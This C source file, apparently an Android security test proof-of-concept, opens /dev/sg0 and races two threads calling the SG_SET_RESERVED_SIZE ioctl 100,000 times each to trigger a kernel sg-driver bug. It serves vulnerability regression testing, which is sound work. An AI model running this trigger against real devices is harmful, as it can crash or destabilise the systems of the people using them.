1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #ifndef _GNU_SOURCE 18 #define _GNU_SOURCE 19 #endif 20 21 #include <string.h> 22 23 #include <android/log.h> 24 #include <dirent.h> 25 #include <dlfcn.h> 26 #include <errno.h> 27 #include <fcntl.h> 28 #include <linux/futex.h> 29 #include <pthread.h> 30 #include <sched.h> 31 #include <signal.h> 32 #include <stdbool.h> 33 #include <stdio.h> 34 #include <stdlib.h> 35 #include <sys/ioctl.h> 36 #include <sys/mman.h> 37 #include <sys/mount.h> 38 #include <sys/ptrace.h> 39 #include <sys/select.h> 40 #include <sys/socket.h> 41 #include <sys/stat.h> 42 #include <sys/syscall.h> 43 #include <sys/system_properties.h> 44 #include <sys/time.h> 45 #include <sys/types.h> 46 #include <sys/un.h> 47 #include <sys/utsname.h> 48 #include <sys/wait.h> 49 #include <unistd.h> 50 51 int fd; 52 53 void in_cpu() { 54 int num_processors = sysconf(_SC_NPROCESSORS_CONF); 55 cpu_set_t get; 56 int i = 0; 57 CPU_ZERO(&get); 58 sched_getaffinity(0, sizeof(cpu_set_t), &get); 59 for (int i = 0; i < num_processors; i++) { 60 if (CPU_ISSET(i, &get)) { 61 printf("The current thread bound to core %d\n", i); 62 } 63 } 64 } 65 static void bind_child_to_cpu() { 66 in_cpu(); 67 cpu_set_t set; 68 CPU_ZERO(&set); 69 CPU_SET(1, &set); 70 sched_setaffinity(0, sizeof(set), &set); 71 in_cpu(); 72 } 73 74 #define BLKTRACETEARDOWN _IO(0x12, 118) 75 #define SG_SET_RESERVED_SIZE 0x2275 76 #define SG_GET_RESERVED_SIZE 0x2272 77 static void* overwrite(void* param) { 78 int ret; 79 for (int i = 0; i < 100000; i++) { 80 int size = 0x100; 81 int n = ioctl(fd, SG_SET_RESERVED_SIZE, &size); 82 printf("ioctl error =%d %s\n", n, strerror(errno)); 83 } 84 return param; 85 } 86 87 int functionOne() { 88 sleep(2); 89 char filename[128]; 90 strcpy(filename, "/dev/sg0"); 91 92 fd = open(filename, 2); 93 if (fd == -1) { 94 return -1; 95 } 96 97 pthread_t thread0; 98 for (int i = 0; i < 2; i++) { 99 if (pthread_create(&thread0, NULL, overwrite, NULL)) 100 perror("overwritethread pthread_create()"); 101 } 102 103 return 0; 104 } 105 106 int main(int argc, char** argv, char** env) { return functionOne(); } 107
